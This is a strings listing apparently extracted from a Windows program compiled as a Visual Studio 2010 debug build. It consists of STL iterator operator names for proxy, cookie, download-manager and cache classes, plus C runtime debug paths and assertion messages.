std::vector<struct hostent *,class std::allocator<struct hostent *> >::operator []

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<void *,struct std::less<void *>,class std::allocator<void *>,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<void *,struct std::less<void *>,class std::allocator<void *>,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<struct _OVERLAPPED_IO *,class std::allocator<struct _OVERLAPPED_IO *> > >::operator

std::_List_const_iterator<class std::_List_val<struct _OVERLAPPED_IO *,class std::allocator<struct _OVERLAPPED_IO *> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct _OVERLAPPED_IO *,class std::allocator<struct _OVERLAPPED_IO *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<struct PostData,class std::allocator<struct PostData> > >::operator

std::_List_const_iterator<class std::_List_val<struct PostData,class std::allocator<struct PostData> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct PostData,class std::allocator<struct PostData> > >::operator *

std::_List_const_iterator<class std::_List_val<struct std::pair<char *,unsigned int>,class std::allocator<struct std::pair<char *,unsigned int> > > >::operator

std::_List_const_iterator<class std::_List_val<struct std::pair<char *,unsigned int>,class std::allocator<struct std::pair<char *,unsigned int> > > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator  =

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,1> > >::operator ==

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator --

std::_Vector_const_iterator<class std::_Vector_val<class std::tr1::sub_match<char const *>,class std::allocator<class std::tr1::sub_match<char const *> > > >::operator  =

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\regex

std::_Vector_const_iterator<class std::_Vector_val<char,class std::allocator<char> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,1> > >::operator

std::vector<class std::tr1::sub_match<char const *>,class std::allocator<class std::tr1::sub_match<char const *> > >::operator []

std::_List_const_iterator<class std::_List_val<class RedirectDomainRule *,class std::allocator<class RedirectDomainRule *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class RedirectDomainRule *,class std::allocator<class RedirectDomainRule *> > >::operator

std::_List_const_iterator<class std::_List_val<class RedirectDomainRule *,class std::allocator<class RedirectDomainRule *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator *

std::_List_const_iterator<class std::_List_val<class IHttpProxyWorker *,class std::allocator<class IHttpProxyWorker *> > >::operator

std::_List_const_iterator<class std::_List_val<class IHttpProxyWorker *,class std::allocator<class IHttpProxyWorker *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class IFileDownloadMgr *,class std::allocator<class IFileDownloadMgr *> > >::operator

std::_List_const_iterator<class std::_List_val<class IFileDownloadMgr *,class std::allocator<class IFileDownloadMgr *> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class IHttpProxyWorker *,class std::allocator<class IHttpProxyWorker *> > >::operator *

std::_List_const_iterator<class std::_List_val<class IFileDownloadMgr *,class std::allocator<class IFileDownloadMgr *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,1> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,1> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,1> > >::operator

std::vector<class CachedBuffer,class std::allocator<class CachedBuffer> >::operator []

std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator

std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator ==

std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator

std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator ==

std::_Deque_const_iterator<class RequestInfo *,class std::allocator<class RequestInfo *> >::operator *

std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator *

std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator

std::_Deque_const_iterator<enum LightXML::ParseState,class std::allocator<enum LightXML::ParseState> >::operator *

std::_Deque_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator *

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator *

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator --

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator *

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator --

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator *

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator --

f:\dd\vctools\crt_bld\self_x86\crt\src\xstring

f:\dd\vctools\crt_bld\self_x86\crt\src\streambuf

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator *

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator  =

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator  =

cf:\dd\vctools\crt_bld\self_x86\crt\src\dbgdel.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\sprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c

_CrtCheckMemory()

_CrtIsValidHeapPointer(pUserData)

_CrtSetDbgFlag

(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_CHECK_CRT_DF | _CRTDBG_LEAK_CHECK_DF) ) == 0)

_CrtMemCheckpoint

f:\dd\vctools\crt_bld\self_x86\crt\src\printf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fread.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c

wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)

wcscpy_s(szExeName, 260, L"<program name unknown>")

__crtMessageWindowW

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.h

("Corrupted pointer passed to _freea", 0)

f:\dd\vctools\crt_bld\self_x86\crt\src\fclose.c

